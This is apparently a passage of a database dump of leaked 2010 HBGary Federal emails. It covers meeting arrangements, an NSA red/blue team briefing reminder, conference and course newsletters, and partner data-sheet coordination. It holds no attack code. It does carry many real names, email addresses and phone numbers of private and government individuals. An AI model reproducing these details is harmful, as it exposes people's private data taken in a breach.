free\r\non-line demo.\r\nRegards,\r\nBarry Nelson\r\nProxity Electronic Commerce\r\n  5516 MacGuffie Street\r\n  Virginia Beach, VA 23464\r\n  (o) 757-502-8951\r\n  (f) 757-502-8952\r\nhttp://www.proxity-ec.com\r\nTo Unsubscribe please\r\n\r\nClick here\r\n\r\nor \r\nhttp://www.proxity-ec.com/OptOutEmail.aspx?email=ted@hbgary.com\r\n\r\n',1213,'aaron_hbgary_com/1213.html'),(7228,'2010-06-09','williamluti@verizon.net','/aaron@hbgary.com/new/1297005268.M358150P14101Q2084.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Catch up','See you then.\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: William Luti\r\nSubject: Re: Catch up\r\nSent: Jun 8, 2010 22:29\r\n\r\nGreat.  How about 1130 at the starbucks in RTC.\r\n\r\nLook forward to it.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 8, 2010, at 5:52 PM, William Luti  wrote:\r\n\r\n> Aaron, coffee at the Reston Starbucks sounds good to me. Just let me know what time is good for you and I\'ll be there. And I look forward to catching up. Best, Bill\r\n> On Jun 8, 2010, at 3:13 PM, Aaron Barr wrote:\r\n>\r\n>> I am in Chantilly in the morning until 11am.  Are you in Reston or Tysons?  I don\'t plan to make it up to Bethesda tomorrow.  Want to go for lunch or just coffee, either way good with me.  So suggestions:\r\n>>\r\n>> Coffee:\r\n>> Reston Towncenter Starbucks\r\n>> Tysons Starbucks on Route 7 near Panera Bread.\r\n>>\r\n>> Lunch:\r\n>> Mon Ami Gabi in Reston Towncenter\r\n>> Lebanese Taverna, Tysons Galleria II\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 8, 2010, at 10:47 AM, William Luti wrote:\r\n>>\r\n>>> Very good. I\'m free until 3pm so why don\'t you pick a time and location and I\'ll meet you there (I could come to your office as well, are you in Bethesda?). Bill\r\n>>> On Jun 8, 2010, at 10:35 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hi Bill,\r\n>>>>\r\n>>>> Sounds good.  I am free tomorrow afternoon and have some time between 1030-2pm on Friday?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Jun 8, 2010, at 10:14 AM, William Luti wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Are you available for coffee am/pm this week. Would like to catch up and discuss business opportunities.\r\n>>>>>\r\n>>>>> Best,\r\n>>>>>\r\n>>>>> Bill\r\n>>>>>\r\n>>>>> (202)277-8361 cell\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n\r\n\r\nSent via BlackBerry by AT&T',15841,'aaron_hbgary_com/15841.html'),(7229,'2010-06-09','\"Liddy, Corinne C\" <ccliddy@nsa.gov>','/aaron@hbgary.com/new/1297005268.M674748P14101Q2085.eml','rcparks@sandia.gov,michael.sikorski@mandiant.com,\"Heimbuch, Andrew C\" <acheimb@nsa.gov>,jeff.williams@aspectsecurity.com,jminicucci@mtcsc.com,Neil.gaudreau@usmc.mil,c.dunkle@dewnet.ncsc.mil,jckaltw@nsa.gov,david.borden@lackland.af.mil,adam.long@ogn.af.mil,Michael.Sohn@ic.fbi.gov,Donna.Martin@disa.mil,windsor_stephen@bah.com,kickjb@mitre.org,nadams@mitre.org,carter.stephen@gmail.com,Linus.Barloon@whmo.mil,\"Bartock, Paul F.\" <p.bartoc@radium.ncsc.mil>,aaron@hbgary.com,Ann.Barron-DiCamillo@disa.mil,\"Toll, Michael\" <mjtoll@nsa.gov>,nziring@thecouch.ncsc.mil,windsor_stephen@bah.com,mark.debels@dc3.mil,\"Carbin, Jeffery J.\" <j.carbin@radium.ncsc.mil>,Michael.Bingham@osd.mil,skbohli@missi.ncsc.mil,rjlarso@missi.ncsc.mil,\"Rogers, Bruce J\" <bjroger@nsa.gov>,\"Graham, Kimberly A\" <kagraha@nsa.gov>,aaronmar@microsoft.com,bruce.hoy@l-3com.com,jon.callahan@gdc4s.com,Peter.Parker@g2-inc.com,michael.rash@g2-inc.com,rcparks@sandia.gov,michael.sikorski@mandiant.com,\"Heimbuch, Andrew C\" <acheimb@nsa.gov>,jeff.williams@aspectsecurity.com,jminicucci@mtcsc.com,Neil.gaudreau@usmc.mil,c.dunkle@dewnet.ncsc.mil,jckaltw@nsa.gov,david.borden@lackland.af.mil,adam.long@ogn.af.mil','REBL Briefs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou are receiving this email if we currently do not have\r\nyour brief on file as of 0700, 09 JUN 2010.\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlease send in your brief\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If\r\nunclassified &#8211; send via NIPR or the Internet\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If\r\nclassified &#8211; send via SIPR - REBL@nsa.smil.mil\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bring\r\nyour presentation on CD (not USB storage device!) &#8211; please let us know if\r\nyou are bringing your brief on CD\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Use\r\nyour own laptop &#8211; not preferred, but we can accommodate.&nbsp; Laptop\r\nmust have wireless services disabled (WiFi, Bluetooth) and webcam disabled.\r\n\r\n&nbsp;\r\n\r\nIf you have any additional questions, please let us know.\r\n\r\n&nbsp;\r\n\r\nLook forward to meeting you all at REBL!\r\n\r\n&nbsp;\r\n\r\nR,\r\n\r\nCorinne\r\n\r\n_______________________________________________________________________________\r\n\r\nCorinne Liddy\r\n\r\nRed/Blue\r\nTeam Planner\r\n\r\nccliddy@nsa.gov\r\n** ccliddy@nsa.smil.mil\r\n\r\n\r\n410.854.8964\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8444,'aaron_hbgary_com/8444.html'),(7230,'2010-06-09','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297005268.M70034P14101Q2083.eml','\"Barr Aaron\" <aaron@hbgary.com>','Slashdot Science Story | Cloth Successfully Separates Oil From Gulf Water','http://science.slashdot.org/story/10/06/08/1746225/Cloth-Successfully-Separates-Oil-From-Gulf-Water\r\n',2329,'aaron_hbgary_com/2329.html'),(7231,'2010-06-09','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297005268.M908823P14101Q2086.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"samuel.chun@hp.com\" <samuel.chun@hp.com>,\"skip.foote@americansystems.com\" <skip.foote@americansystems.com>,\"michael.fraser@usis.com\" <michael.fraser@usis.com>,\"jessie.miscar@usis.com\" <jessie.miscar@usis.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"lhormann@mitre.org\" <lhormann@mitre.org>,\"jpayne@telcordia.com\" <jpayne@telcordia.com>,\"sdowney@telcordia.com\" <sdowney@telcordia.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"anissa.l.thomas@accenture.com\" <anissa.l.thomas@accenture.com>,\"vpratuch@cisco.com\" <vpratuch@cisco.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"rwilloughby@deloitte.com\" <rwilloughby@deloitte.com>','Venue Change - ExecutiveBiz 4x24 Diner Series (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 15, 2010 5:30 PM-8:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 2941 Restaurant (2941 Fairview Park Drive, Falls Church, VA 22042)\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDear 4x24 Member;\r\nPlease note the Venue has changed for this dinner.&nbsp; The dinner will be held at 2941 Restaurant (2941 Fairview Park Drive, Falls Church, VA 22042) in the Waterfall Room.\r\nI am pleased to announce that our speaker for this dinner is Mr. William Crowell.\r\nA reminder that networking begins at 5:30 p.m. and the dinner starts at 6:30 p.m. The dinner will be held in the Waterfall Room at 2941 Restaurant in Falls Church.\r\nIn case you need to reach someone the evening of the dinner after 4pm, please call JD Kathuria on his cell phone (703-863-4274).\r\n&nbsp;\r\n\r\nWILLIAM P. CROWELL\r\n\r\nSecurity Consultant\r\n\r\nWilliam P. Crowell is an Independent Consultant specializing in Information Technology, Security and Intelligence Systems.&nbsp; He also is a director in the following companies: ArcSight, Inc. (ARST), an enterprise\r\nsecurity management software company, SafeNet, encryption, data protection and authentication solutions,&nbsp; Narus, a maker of IP Telecommunications Infrastructure software for carrier traffic intelligence and security; Air Patrol, a wireless network security&nbsp;\r\ncompany, and DRS Technologies, a subsidiary of Finmechanicca of Italy.&nbsp; In December of 2009 he joined the board of Six3 Systems Holdings, LLC.&nbsp; Until its acquisition by Cisco in June 2007, he was a director and Chairman of Broadware Technologies, a video surveillance\r\nsoftware company.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCrowell served as President and Chief Executive Officer of Santa Clara, California-based Cylink Corporation, a leading provider of e-business security solutions from November 1998 to February 2003, when Cylink was acquired\r\nby SafeNet, Inc., a Baltimore based security products company\r\n\r\n&nbsp;\r\n\r\n Crowell came to Cylink from the National Security Agency, where he held a series of senior positions in operations, strategic planning, research and development, and finance.&nbsp; He served as Deputy Director of Operations\r\nfrom 1991 to 1994 running its core signals intelligence mission.&nbsp; In February 1994 he was appointed as the Deputy Director of NSA and served in that post until his retirement in September 1997.&nbsp; From 1989 to 1990, Crowell served as a vice president at Atlantic\r\nAerospace Electronics Corporation, later acquired by Titan Corp, leading business development in space technology, signal processing and intelligence systems. In April 1999, Crowell was appointed to the President’s Export Council (PEC), which advised the administration\r\non trade and export policy.&nbsp; He served as chairman of the PEC Subcommittee on Encryption and helped define new export rules to substantially loosen restrictions on the export of encryption products and technology.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAfter 9/11 he served on the Markle Foundation Task Force on National Security in the Information Age, which published three landmark studies on Homeland Security and information sharing. He has also served on numerous panels\r\nto investigate and improve military command and control, intelligence and security systems.&nbsp;&nbsp; In August 2007 he was named Chairman of the Director of National Intelligence (DNI) Senior Advisory Group.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCrowell is an expert on network and information security issues.&nbsp; In December 2008 Security Magazine selected him as one of the 25 most influential people in the security industry.&nbsp;&nbsp; In May 2007 he co-authored the book,\r\n“Physical and Logical Security Convergence,” published by Elsevier.&nbsp; He has been quoted in many trade and business publications including the Wall Street Journal, Business Week, USA Today, Information Week, Network World, Computer World, Federal Computer Week,\r\nCIO Magazine and the San Jose Mercury News.&nbsp; Crowell has also appeared on CBS MarketWatch, CNET News, CNBC, The Charlie Rose Show, and KNTV’s Silicon Valley Business.&nbsp; He was the technical advisor to the TV series, “Threat Matrix” during its run on ABC in the\r\n2003 season.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',12189,'aaron_hbgary_com/12189.html'),(7232,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005269.M131254P14101Q2087.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Commercial Integration Demo meeting','Sent from my iPadBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: June 8, 2010 9:42:10 PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Commercial Integration Demo meeting\r\nJust got off the phone, architectural creativity with regards toinfrastructure.  It&#39;s definitely a Greg area, that said, they have no\r\nproblem with you doing integration work.  The customer also wants to meetGreg and the technology providers.  We might have to add to our capabilitiesso it will fall under HBGary, but much of it will be HBGary Federal.  Call\r\nme we can discuss-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, June 08, 2010 5:43 PM\r\nTo: Penny Leavy-HoglundSubject: Re: Commercial Integration Demo meetingWhat exactly are they wanting from HBGary?  I used to run covcomprograms.  What type of creativity are they looking for?\r\nAaronSent from my iPadOn Jun 8, 2010, at 8:26 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nFYI, let me talk to Greg and see what is possible-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]Sent: Tuesday, June 08, 2010 2:13 PM\r\nTo: Penny Leavy-HoglundSubject: Re: Commercial Integration Demo meeting\r\nPennyAs for timeframe.  It is a little bit hard to predict for sure, but we\r\nare hoping funding will be here by September to fully fund the entireproject.  Consequently, we would like to be ready to start working as\r\nsoon as possible to support a Sept start.As for Aaron, I would really prefer Greg to come, we are trying to scope\r\nout more than the integration of Digital DNA into the product and wouldlove to tap into Greg&#39;s creativity and to really see how far this can\r\ngo.  Is that possible?give me a call and we can discuss more.\r\nNathan719-321-6135\r\nOn 6/8/2010 1:23 PM, Penny Leavy-Hoglund wrote:\r\nNathan,\r\nGreg and I aren&#39;t there in DC but Aaron is and can\r\n-----Original Message-----From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\nSent: Tuesday, June 08, 2010 5:30 AMTo: Bob Graham; Penny Leavy-Hoglund; Economou, George; Ray Owen; jack\r\nkretovics; jhayes@blackridge.us\r\nSubject: Commercial Integration Demo meeting\r\nJohn, Penny, George, Jack\r\nWe would like to have a kick off meeting in the Washington DC areaaround the 7th-9th of July for the sponsored Commercial Integration Demo\r\ninvolving your companies.  We can host at our offices in Crystal City,\r\nwhich will then give us good access to the customer.\r\nIf these dates do not work, please let me know and we will start lookingother times.\r\nthanks\r\nnathan\r\n\r\n\r\n',14185,'aaron_hbgary_com/14185.html'),(7233,'2010-06-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297005269.M369189P14101Q2088.eml','\"Aaron Barr\" <aaron@hbgary.com>','US CERT','Aaron\r\n \r\nIs there an opportunity to sell TMC to US-CERT?  Do you know who at the US-CERT is responsible for analyzing the large volumes of malware?  Did you ever have the US-CERT meeting because I lost track after the date changed....\r\n\r\n \r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',1419,'aaron_hbgary_com/1419.html'),(7234,'2010-06-09','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297005269.M594743P14101Q2089.eml','aaron@hbgary.com','Tuition Reduced for Software Quality Assurance Course','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n		\r\n		\r\n		\r\n          507 NEW! Software Quality Assurance and Improvement;&nbsp; July 7 - 9, 2010,  Tuitions reduced.\r\n          Software quality assurance (SQA) has been proven effective in reducing software costs\r\n  and increasing customer satisfaction through prevention of software defects. This\r\n  course familiarizes participants with the evolving role of SQA in modern software\r\n  development and support. Emphasis is placed on understanding the fundamentals\r\n  of software engineering and development and how the principles of SQA can be\r\n  employed to optimize software quality. The course covers the Software Engineering\r\n  Institute&rsquo;s Capability Maturity Model Software Quality Assurance key process\r\n  area topics. Class exercises and discussions allow participants to gain a broad\r\n  understanding of SQA, and how to apply SQA to each individual\'s particular organization.\r\n    Stevens Institute of Technology: \r\n    Stevens has designed the Applied Program Management Graduate Certificate which will allow attendees  to develop the necessary skills for success in their mission critical roles. AFCEA members are eligible to receive a 5% tuition discount on this customized certificate.\r\n    SDOE 625 &ndash; Fundamentals of Systems Engineering; Jun 17-19 and Jul 23-24.&nbsp; Time:&nbsp; 8:00 a.m. - 5:00 p.m.\r\n  This course discusses fundamentals of systems engineering. Initial focus is on need identification and problem\r\n        definition. Thereafter, synthesis, analysis, and evaluation activities during conceptual and preliminary system design\r\n        phases are discussed and articulated through examples and case studies. Emphasis is placed on understanding\r\n        the &ldquo;real need&rdquo; or &ldquo;market opportunity&rdquo; and the translation of this market opportunity into a supporting concept of\r\n        operations and a solution/response architecture.&nbsp; Accordingly, participants are introduced to methods and tools\r\n        that support this translation, understand the trade-space, and make the early technical decisions, together with\r\n        approaches to identify and management risk in these early program phases. Product life cycle processes also are\r\n        reviewed in some depth in this course.\r\n    LOCATION:\r\n  Ronald Reagan Building &amp; International Trade Center\r\n  1300 Pennsylvania Ave NW\r\n  Suite G - 17\r\n  Washington, DC&nbsp; 20004\r\n    202-567-6380\r\n    Other courses offered in July - August:\r\n907 New!&nbsp; The Ultimate Government Market Research Workshop; July 6, 2010\r\n    906 New!&nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; July 7-8, 2010\r\n    386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n    387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n    650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n    387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n    382 (ISC)2 DoD CAP - Certification and Accreditation Professional; July 27-29.\r\n    388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\n    381 CompTIA Security+ (2008) Edition Certification Course; Aug. 2-5. EXAM on Aug. 6.&nbsp; There is a separate registration and tuition for the exam.&nbsp; See attached link:&nbsp; Comp TIA Security+ EXAM Registration\r\n    701 Introduction to Electromagnetic Compatibility;&nbsp; Aug 23.\r\n     705 Shielded Enclosures; Aug 24, Herndon VA.  \r\n     706 Shielding Effectiveness Testing;&nbsp; Aug 25-26, Herndon VA.\r\n     707 Construction of Electromagnetically Shielded Enclosures; Aug 27, Herndon VA. \r\n    All courses will be held in Fairfax, VA unless otherwise noted.     \r\n    For full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrar, Jill Malinchak or Gloria Kirkland, at 703-631-6137.\r\n\r\n             \r\n		  \r\n		  \r\n		  \r\n		  \r\n		  \r\n		         \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',10727,'aaron_hbgary_com/10727.html'),(7235,'2010-06-09','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005269.M814425P14101Q2090.eml','first-2010announce@first.org','The 22nd Annual FIRST Conference is 4 Days Away! New Podcast Available!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nColleague,\r\n\r\n&nbsp;\r\n\r\nWow\r\n&#8211; 4 More Days!\r\n\r\nIf\r\nyou plan on attending the conference and have not registered, we urge you to do\r\nso in advance.&nbsp; This will help us speed the check-in process.&nbsp;\r\nRegistration is available at http://conference.first.org.&nbsp;\r\nThe Late Fee applies to both members and non-members.&nbsp; On-site\r\nregistration will be available &#8211; NO CASH.\r\n\r\n&nbsp;\r\n\r\nAnother\r\nNew Podcast! Volume 2, Episode 6: Interview with Randy Trzeciak of CERT/CC\r\n\r\nRandy\r\nTrzeciak is a senior member of the technical staff at CERT/CC. He leads the\r\ninsider threat team, focusing on insider threat research, threat analysis and\r\nmodeling. Randy has over 19 years of experience in the field of information\r\nsecurity and is an adjunct professor at Carnegie Mellon\'s Heinz College, School\r\nof Information Systems and Management.&nbsp; Randy presents at Annual FIRST\r\nConference on Monday, June 16th @14:30. Access his interview at http://conference.first.org/podcasts.aspx.&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nAre\r\nYou Going to be Around on Saturday?\r\n\r\nWe\r\nare holding an informal pre-conference gathering in the hotel bar at the\r\nInterContinental Miami to watch the England vs. USA World Cup match.&nbsp; Game\r\nstarts at 2:30PM EDT.&nbsp; If you are around, come down and join your\r\ncolleagues.&nbsp; Hotel bar specials include $10 beer buckets and game time\r\nbuffets.&nbsp; Please keep in mind that this is a cash bar and is not a FIRST\r\nsponsored event.\r\n\r\n&nbsp;\r\n\r\nTwitter\r\n\r\nFollow\r\nlive conference updates at http://www.twitter.com/firstdotorg!\r\n\r\n&nbsp;\r\n\r\nOn\r\nLinkedIn?&nbsp;\r\n\r\n\r\nDon&#8217;t\r\nforget to add the conference to the events that you are attending! \r\n\r\nhttp://events.linkedin.com/22nd-Annual-FIRST-Conference/pub/75123\r\n\r\n&nbsp;\r\n\r\nJoin\r\nthe FIRST LinkedIn Group at http://www.linkedin.com/groups?gid=2585&amp;trk=myg_ugrp_ovr.\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKind\r\nregard,\r\nTraci\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11356,'aaron_hbgary_com/11356.html'),(7236,'2010-06-09','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005270.M294229P14101Q2092.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting','&nbsp;\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nWe could meet anywhere it works for you.&nbsp; I do not know this area well.&nbsp; There is Hellas Restaurant in Millersville, if you like it.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: \"pauln@jdn-int.com\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 5:08 PM\r\n\r\nPaul,\r\n\r\nThat sounds good. &nbsp;I have a 1pm in Columbia at the saic bldg. &nbsp;Do u know a good place?\r\n\r\nAaronFrom my iPhone\r\nOn Jun 8, 2010, at 4:53 PM, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nThank you for the note.&nbsp; Monday, 6/14 is fine.&nbsp; Would you like to get together for lunch in the area?\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message. \r\nDate: 6/08/2010 \r\nSubject: Meeting \r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\nView/reply to this message \r\nDon\'t want to receive e-mail notifications? Adjust your message settings. \r\n© 2010, LinkedIn Corporation',14057,'aaron_hbgary_com/14057.html'),(7237,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005270.M51951P14101Q2091.eml','\"David Etue\" <david.etue@fidelissecurity.com>','Data sheet','Hey Dave,\r\n\r\nDid you have much of a chance to look at the Data sheet?  I  going to\r\nfinish it up today and tomorrow.  Also trying to finish my NSA\r\npresentation for Tuesday.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',2243,'aaron_hbgary_com/2243.html'),(7238,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005270.M522608P14101Q2093.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Discuss EGS/HBGary','Daniel,\r\n\r\nAs part of an incident response and leave-behind offering it would be nice to be able to provide a feed or query capability for newly compromised boxes being used for C&C nodes.  Is that something your thinking of providing?\r\n\r\nAaron\r\n\r\nOn Jun 4, 2010, at 10:22 AM, Daniel Ingevaldson wrote:\r\n\r\n> When: Friday, June 04, 2010 3:30 PM-4:30 PM. Eastern Standard Time\r\n> Where: EGS to call Aaron\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2425,'aaron_hbgary_com/2425.html'),(7239,'2010-06-09','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005270.M741225P14101Q2094.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Data sheet','Working on the data sheet tonight - have it printed out, but haven\'t\r\nbeen sitting down to look at it :(   I believe Stacey is working on it\r\ntoo.  Have a internal call in 10 minutes to make sure everyone in\r\nFidelis is doing the right stuff to support you guys.  \r\n\r\nI\'m going to rewrite the top left paragraph on the back page if that is\r\nok.  Stacey will get you updated product pictures and logos.\r\n\r\nDavid\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 09, 2010 3:41 PM\r\nTo: Etue, David\r\nSubject: Data sheet\r\n\r\nHey Dave,\r\n\r\nDid you have much of a chance to look at the Data sheet?  I  going to\r\nfinish it up today and tomorrow.  Also trying to finish my NSA\r\npresentation for Tuesday.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',10595,'aaron_hbgary_com/10595.html'),(7240,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005277.M133558P14101Q2095.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Comments','Hey guys,\r\n\r\nAttached is the datasheet to describe our services offerings.  I am going to finish this off by tomorrow so I can get it printed.  Bob I would like to bring the copies to you before you head down to Miami since I won\'t be down there until Wed. morning.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15221,'aaron_hbgary_com/15221.html'),(7241,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005277.M783471P14101Q2096.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Data sheet','Yes that is exactly what I am looking for, figured you could write it better than me.  And please comment on the rest of it as well.  Really the first one of these I have written so I want it to have as much impact as possible.  Also when I see you on Friday I would like to get a stack of relevant datasheets for the fidelis appliance as well.\r\n\r\nThanks.\r\n\r\nI am open on place to meet for a drink.  Suggestions are J. Gilberts in Mclean reverse commute going back, or O\'sullivans in Arlington...also open to other suggestions.\r\n\r\nOn Jun 9, 2010, at 5:13 PM, Etue, David wrote:\r\n\r\n> Working on the data sheet tonight - have it printed out, but haven\'t\r\n> been sitting down to look at it :(   I believe Stacey is working on it\r\n> too.  Have a internal call in 10 minutes to make sure everyone in\r\n> Fidelis is doing the right stuff to support you guys.  \r\n> \r\n> I\'m going to rewrite the top left paragraph on the back page if that is\r\n> ok.  Stacey will get you updated product pictures and logos.\r\n> \r\n> David\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 09, 2010 3:41 PM\r\n> To: Etue, David\r\n> Subject: Data sheet\r\n> \r\n> Hey Dave,\r\n> \r\n> Did you have much of a chance to look at the Data sheet?  I  going to\r\n> finish it up today and tomorrow.  Also trying to finish my NSA\r\n> presentation for Tuesday.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1776,'aaron_hbgary_com/1776.html'),(7242,'2010-06-09','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297005278.M426367P14101Q2098.eml','aaron@hbgary.com','Register Now for the 2010 Biometric Consortium Conference and Technology Expo','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					\r\n				\r\n			\r\n		\r\n	\r\n	\r\n			  \r\n          \r\n            \r\n                The 2010 Biometric Consortium Conference and Technology Expo \r\n                September 21-23, 2010\r\n                Tampa Convention Center\r\n                Tampa, FL\r\n                Supported by the National Institute of Standards and Technology (NIST) and the National Security Agency (NSA), the Biometric Consortium Conference is focused on Biometric Technologies for Defense, Homeland Security, Identity Management, Border Crossing and Electronic Commerce. Participants include internationally recognized experts in biometric technologies, system and application developers, IT business strategists, and government and commercial officers.\r\n                Registration now open! Click here for  Biometric Consortium Conference and Technology Expo registration and housing. \r\n&nbsp;\r\nConference Sessions: \r\n              \r\n                Department of Justice (DOJ) - (FBI/NIJ) \r\n                Department of Homeland Security (DHS) \r\n                Department of Defense (DoD) \r\n                National Institute of Standards and Technology (NIST) \r\n                Biometrics, Identity &amp; Security (BIdS) 